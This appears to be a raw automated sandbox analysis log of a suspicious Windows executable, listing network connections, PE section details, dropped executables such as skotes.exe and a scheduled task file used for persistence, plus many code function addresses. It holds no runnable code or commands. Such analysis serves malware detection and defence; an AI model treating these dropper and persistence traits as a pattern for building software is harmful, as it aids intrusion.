Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50120
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50121
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50117 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016

Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.5:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.19.244.127:443 -> 192.168.2.5:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.19.244.127:443 -> 192.168.2.5:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.72:443 -> 192.168.2.5:49792 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.72:443 -> 192.168.2.5:49821 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.5:50053 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:50110 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:50117 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: DocumentsIDAEBGCAAE.exe.0.dr	Static PE information: section name:
Source: DocumentsIDAEBGCAAE.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.21.dr	Static PE information: section name:
Source: skotes.exe.21.dr	Static PE information: section name: .idata
Source: random[1].exe.25.dr	Static PE information: section name:
Source: random[1].exe.25.dr	Static PE information: section name: .idata
Source: dc7d43171c.exe.25.dr	Static PE information: section name:
Source: dc7d43171c.exe.25.dr	Static PE information: section name: .idata

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C6BB700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BB8C0 rand_s,NtQueryVirtualMemory,	0_2_6C6BB8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C6BB910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C65F280

Source: C:\Users\user\DocumentsIDAEBGCAAE.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6535A0	0_2_6C6535A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C665440	0_2_6C665440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C545C	0_2_6C6C545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C542B	0_2_6C6C542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CAC00	0_2_6C6CAC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C695C10	0_2_6C695C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A2C10	0_2_6C6A2C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65D4E0	0_2_6C65D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C696CF0	0_2_6C696CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6664C0	0_2_6C6664C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67D4D0	0_2_6C67D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B34A0	0_2_6C6B34A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BC4A0	0_2_6C6BC4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C666C80	0_2_6C666C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66FD00	0_2_6C66FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67ED10	0_2_6C67ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C680512	0_2_6C680512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B85F0	0_2_6C6B85F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C690DD0	0_2_6C690DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C6E63	0_2_6C6C6E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65C670	0_2_6C65C670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A2E4E	0_2_6C6A2E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C674640	0_2_6C674640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C679E50	0_2_6C679E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C693E50	0_2_6C693E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B9E30	0_2_6C6B9E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A5600	0_2_6C6A5600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C697E10	0_2_6C697E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C76E3	0_2_6C6C76E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65BEF0	0_2_6C65BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66FEF0	0_2_6C66FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B4EA0	0_2_6C6B4EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BE680	0_2_6C6BE680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C675E90	0_2_6C675E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C669F00	0_2_6C669F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C697710	0_2_6C697710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65DFE0	0_2_6C65DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C686FF0	0_2_6C686FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A77A0	0_2_6C6A77A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69F070	0_2_6C69F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C678850	0_2_6C678850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67D850	0_2_6C67D850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69B820	0_2_6C69B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A4820	0_2_6C6A4820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C667810	0_2_6C667810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67C0E0	0_2_6C67C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6958E0	0_2_6C6958E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C50C7	0_2_6C6C50C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6860A0	0_2_6C6860A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66D960	0_2_6C66D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AB970	0_2_6C6AB970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CB170	0_2_6C6CB170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67A940	0_2_6C67A940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65C9A0	0_2_6C65C9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68D9B0	0_2_6C68D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C695190	0_2_6C695190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B2990	0_2_6C6B2990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C699A60	0_2_6C699A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C671AF0	0_2_6C671AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69E2F0	0_2_6C69E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C698AC0	0_2_6C698AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6522A0	0_2_6C6522A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C684AA0	0_2_6C684AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66CAB0	0_2_6C66CAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C2AB0	0_2_6C6C2AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CBA90	0_2_6C6CBA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66C370	0_2_6C66C370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C655340	0_2_6C655340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69D320	0_2_6C69D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C53C8	0_2_6C6C53C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65F380	0_2_6C65F380
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C70AC60	0_2_6C70AC60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7DAC30	0_2_6C7DAC30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7C6C00	0_2_6C7C6C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C75ECD0	0_2_6C75ECD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6FECC0	0_2_6C6FECC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7CED70	0_2_6C7CED70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C88CDC0	0_2_6C88CDC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C888D20	0_2_6C888D20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C704DB0	0_2_6C704DB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C82AD50	0_2_6C82AD50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C796D90	0_2_6C796D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C79EE70	0_2_6C79EE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7E0E20	0_2_6C7E0E20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C70AEC0	0_2_6C70AEC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7A0EC0	0_2_6C7A0EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C786E90	0_2_6C786E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7C2F70	0_2_6C7C2F70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C848FB0	0_2_6C848FB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C76EF40	0_2_6C76EF40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C706F10	0_2_6C706F10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7DEFF0	0_2_6C7DEFF0
